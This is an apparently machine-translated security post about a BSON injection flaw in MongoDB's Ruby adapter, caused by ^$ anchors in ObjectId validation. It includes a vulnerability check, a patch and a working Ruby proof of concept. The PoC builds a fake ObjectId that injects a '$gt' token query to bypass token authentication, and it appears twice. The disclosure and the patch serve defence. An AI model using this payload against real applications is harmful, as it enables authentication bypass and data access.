⬆️ ⬇️

BSON injection in MongoDB adapter for Ruby

A bug was found in BSON-ruby, which at best led to a small DoS, but most versions were vulnerable to BSON injection (the SQL injection analog, BSON is the binary JSON analog used for working with the database).



On Habré, the feature of regulars in Ruby was already mentioned - in our case, ^ $ means not just the beginning and end of the line, but also a new line \ n.



But then in the examples there were only XSS “javascript: a () \ nhttp: //”, and I have been looking for an example for a long time when regulars lead to something serious. And a couple of days ago, during the audit of our client’s external libraries, I came across the following code in BSON-ruby.

')

def legal?(str) !!str.match(/^[0-9a-f]{24}$/i) end 


This method is responsible for validating the ObjectId - document identifier. For example Order.find (params [: id]) where id is 24 characters from the user of the input form "21141c78d99f23d5f34d3201".



After a little investigation, I found out that the regular season was fixed for the first time in 2012 at \ A \ Z, then re-broken by the maintainer himself in 2013 as a result of a very suspicious regression .



In other words, from April 17, 2012 to March 2013 were used ^ $, then \ A \ Z until April 2013, and then again ^ $.



To check if your application is vulnerable, run:



 b=((defined?(Moped::BSON) ? Moped::BSON : BSON)::ObjectId) raise "DoS!" if b.legal? "a"*24+"\n" raise "Injection!" if b.legal? "a"*24+"\na" 


And use this patch if yes:



 def ((defined?(Moped::BSON) ? Moped::BSON : BSON)::ObjectId).legal?(s) /\A\h{24}\z/ === s.to_s end 


If you use the old version of BSON from 2013, then, most likely, \ A \ Z is used there and only a small DoS is possible. Why? Because \ Z in ruby, in addition to ending the line, allows one \ n at the end. But if we send id = aaaaaaaaaaaaaaaaaaaaaaaa% 0A then the Mongo will swear [conn1] Assertion: 10307: Client Error: bad object in message: invalid bs type in object with _id: ObjectId ('aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa



However, Ruby's driver does not understand this error and concludes that the node is lying. And it pings Mongo another 39 times over the next 5 seconds, scoring a workman with useless work, which can be used as Denial of Service for some sites.



But this is nothing compared to what is happening in the latest versions of BSON. There you can send a string like



_id = Any binary data \ naaaaaaaaaaaaaaaaaaaaaaaa \ nAny binary data



What will be unpacked from hex into binary and inserted into the BSON body of the document upon request to the Mongo without changes (it is assumed that the ObjectId is already validated and inserted for its performance in its pure form). With this Proof of Concept, you can make arbitrary requests to Mongo by overwriting the parameters of the BSON document, bypassing authentication systems based on tokens or key APIs, doing DoS, and possibly much more.



 require 'uri' b = BSON::Document.new b["$query"] = {"token" => {"$gt"=>""}} payload = b.to_bson[4..-2] id_ish = ("\n\n" + "a"*24 + "\n\n") fake_id = "a"*24 + "\x02_id\0".unpack('H*')[0] + [id_ish.size/2 + 1].pack('V').unpack('H*')[0] + id_ish + "00" + payload.unpack('H*')[0] puts URI.encode(fake_id) # looks like: # aaaaaaaaaaaaaaaaaaaaaaaa025f6964000f000000%0A%0Aaaaaaaaaaaaaaaaaaaaaaaaa%0A%0A0003247175657279001b00000003746f6b656e000f000000022467740001000000000000 User.find fake_id #returns <User _id: 556f840f686f6d6746000000, token: "a"> % 0A0003247175657279001b00000003746f6b656e000f000000022467740001000000000000 require 'uri' b = BSON::Document.new b["$query"] = {"token" => {"$gt"=>""}} payload = b.to_bson[4..-2] id_ish = ("\n\n" + "a"*24 + "\n\n") fake_id = "a"*24 + "\x02_id\0".unpack('H*')[0] + [id_ish.size/2 + 1].pack('V').unpack('H*')[0] + id_ish + "00" + payload.unpack('H*')[0] puts URI.encode(fake_id) # looks like: # aaaaaaaaaaaaaaaaaaaaaaaa025f6964000f000000%0A%0Aaaaaaaaaaaaaaaaaaaaaaaaa%0A%0A0003247175657279001b00000003746f6b656e000f000000022467740001000000000000 User.find fake_id #returns <User _id: 556f840f686f6d6746000000, token: "a"> 


As a result, the request with the injection enters the Mongo socket as follows:



\ x83 \ x00 \ x00 \ x00 \ x02 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ xD4 \ a \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 mng_development.users \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00Q \ x00 \ x00 \ x00 \ a_id \ x00 \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ x02_id \ x00 \ x0F \ x00 \ x00 \ x00 \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ xAA \ x00 \ x03 $ query \ x00 \ e \ x00 \ x00 \ x00 \ x03token \ x00 \ x0F \ x00 \ x00 \ x00 \ x02 $ gt \ x00 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00



Apply the patch, and remember that in regulars in ruby ​​you should always use \ A \ z.

Source: https://habr.com/ru/post/259569/



All Articles